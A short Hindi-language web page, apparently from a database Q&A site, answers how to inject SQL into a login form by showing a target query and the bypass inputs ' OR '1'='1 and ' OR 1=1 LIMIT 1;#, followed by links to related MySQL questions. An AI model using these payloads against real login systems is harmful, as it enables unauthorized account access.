Mysql
 sql >> डेटाबेस >  >> RDS >> Mysql

लॉगिन प्रक्रिया में एसक्यूएल कैसे इंजेक्ट करें

लक्ष्य क्वेरी से शुरू करना:

SELECT   *
FROM     users
WHERE    username = '' OR '1'='1' 
AND      password = '' OR 1=1 LIMIT 1;#'

हमें उपयोगकर्ता नाम मिलता है ' OR '1'='1 और पासवर्ड है ' OR 1=1 LIMIT 1;#



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Mysql फ़ंक्शन का उपयोग करके तालिका कैसे वापस करें

  2. अनुक्रमणिका क्वेरी द्वारा धीमी खोज LIKE% MYSQL

  3. Django - कॉलम में शून्य मान Django व्यवस्थापक में शून्य बाधा का उल्लंघन नहीं करता है

  4. नए कॉलम में स्ट्रिंग्स का उपयोग करके SQL समूह

  5. वर्डप्रेस - मैं लॉगिन नहीं कर सकता - wp_users तालिका में कुछ गड़बड़ है